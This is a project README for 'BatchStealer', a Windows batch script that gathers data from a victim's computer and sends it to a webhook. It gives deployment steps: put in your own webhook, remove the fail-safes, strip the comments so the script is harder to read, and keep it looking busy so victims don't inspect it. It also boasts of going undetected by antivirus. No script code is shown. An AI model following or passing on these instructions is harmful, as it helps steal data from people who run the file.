BatchStealer | BatchStealer Example

📜 A batch script for taking things and sending them to a webhook

Get The Automatic Builder ❤️

My attempt at making a stealer with batch, it sucks. The script will not be updated anymore. If something, a new one would be made, this time properly. Treat the current BatchStealer as POC, not as a finished product/malware.

3.4.2021 < FUD (Virustotal)

How to use

⚠️ Windows 10 build 17063, or later (cURL is included)

1. Change the webhook to yours.
2. Remove the fail-safes. ("goto xxx")
3. Run the batch file.

❌ Get rid of the comments 📝

• Do a regex search on notepad++, match ^::.*\n and replace with nothing.

⛔ Avoid

• Just changing the webhook and doing nothing else.
  • If the batch file does nothing the user will open it to see what's wrong.

Features

💉 Steals

Almost everything is encrypted, I haven't had the patience to do that on a batch file
